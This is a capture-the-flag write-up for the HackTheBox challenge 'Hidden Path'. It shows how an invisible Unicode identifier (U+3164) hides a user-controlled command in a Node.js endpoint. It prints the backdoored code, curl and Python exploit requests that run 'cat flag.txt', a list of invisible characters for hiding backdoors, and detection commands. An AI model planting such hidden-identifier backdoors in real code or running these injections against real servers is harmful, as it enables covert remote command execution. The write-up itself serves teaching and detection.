Hidden Path — HackTheBox

Description

Legends speak of the infamous Kamara-Heto, a black-hat hacker of old who rose to fame as they brought entire countries to their knees. Opinions are divided over whether the fabled figure truly existed, but the success of the team surely lies in the hope that they did, for the location of the lost vault is only known to be held on what remains of the NSA's data centres. You have extracted the source code of a system check-up endpoint - can you find a way in? And was Kamara-Heto ever there?

Target: http://94.237.122.95:40335

Analysis

Source Code Review

The challenge provides source code for a Node.js Express application (app.js) that allows executing predefined system commands.

Finding Hidden Unicode Characters

Using hex dump analysis (xxd app.js), discovered hidden Unicode characters ㅤ (U+3164, Hangul Filler - an invisible Korean character) in two critical locations:

1. Line 15 - Destructuring assignment:

const { choice,ㅤ} = req.body;

This extracts a hidden parameter named ㅤ (invisible character) from the request body.

2. Line 28 - Commands array:

const commands = [
    'free -m',
    'uptime',
    'iostat',
    'mpstat',
    'netstat',
    'ps aux',ㅤ  // <-- 7th element (index 6) - value from req.body.ㅤ
];

The hidden variable is added as the 7th element of the commands array.

Vulnerability Analysis

• The application validates choice must be a number within bounds of the commands array
• The array has 6 visible elements (indices 0-5) plus 1 hidden element (index 6)
• The hidden element's value comes from user input via the invisible parameter ㅤ
• This allows arbitrary command execution by passing choice=6 and ㅤ=<command>

Solution

Hex Dump Analysis

xxd app.js | grep -A2 -B2 "e3 85 a4"

The Hangul Filler character (U+3164) appears as bytes e3 85 a4 in UTF-8.

Exploitation

Send a POST request with:

• choice=6 - to select the 7th (hidden) element
• %E3%85%A4=cat%20flag.txt - URL-encoded invisible character parameter with command

curl -s -X POST "http://94.237.122.95:40335/server_status" \
    -d "choice=6&%E3%85%A4=cat%20flag.txt"

Alternative with Python

#!/usr/bin/env python3
import requests

url = "http://94.237.122.95:40335/server_status"
invisible_char = "\u3164"  # Hangul Filler (U+3164)

data = {
    "choice": "6",
    invisible_char: "cat flag.txt"
}

response = requests.post(url, data=data)
print(response.text)

Unicode Characters for Backdoors

Common invisible/homoglyph characters used in attacks:

• U+3164 - Hangul Filler (ㅤ) - valid JS identifier
• U+200B - Zero Width Space
• U+200C - Zero Width Non-Joiner
• U+200D - Zero Width Joiner
• U+FEFF - Zero Width No-Break Space (BOM)
• Cyrillic/Greek lookalikes (а vs a, о vs o)

Detection Methods

# Hex dump to find hidden characters
xxd file.js | less

# Show non-ASCII characters
cat -A file.js

# Find specific Unicode ranges
grep -P '[^\x00-\x7F]' file.js

# Python detection
python3 -c "
import sys
for i, line in enumerate(open('file.js'), 1):
    for j, c in enumerate(line):
        if ord(c) > 127:
            print(f'Line {i}, Col {j}: U+{ord(c):04X} ({repr(c)})')
"

Lessons Learned

This challenge demonstrates the danger of homoglyph/invisible Unicode characters in source code. The Hangul Filler character (U+3164) is a valid JavaScript identifier but invisible to the naked eye, making it perfect for hiding backdoors in seemingly legitimate code. Always use hex dumps or specialized tools to detect such hidden characters in untrusted code.

References

• Unicode Security Considerations
• Trojan Source Attack
• JavaScript Identifier Names